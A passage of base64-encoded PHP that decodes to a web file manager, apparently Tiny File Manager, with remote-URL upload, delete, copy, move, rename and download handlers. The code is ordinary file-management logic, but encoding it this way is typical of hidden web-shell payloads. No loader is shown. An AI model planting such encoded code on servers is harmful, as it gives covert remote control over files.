KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09I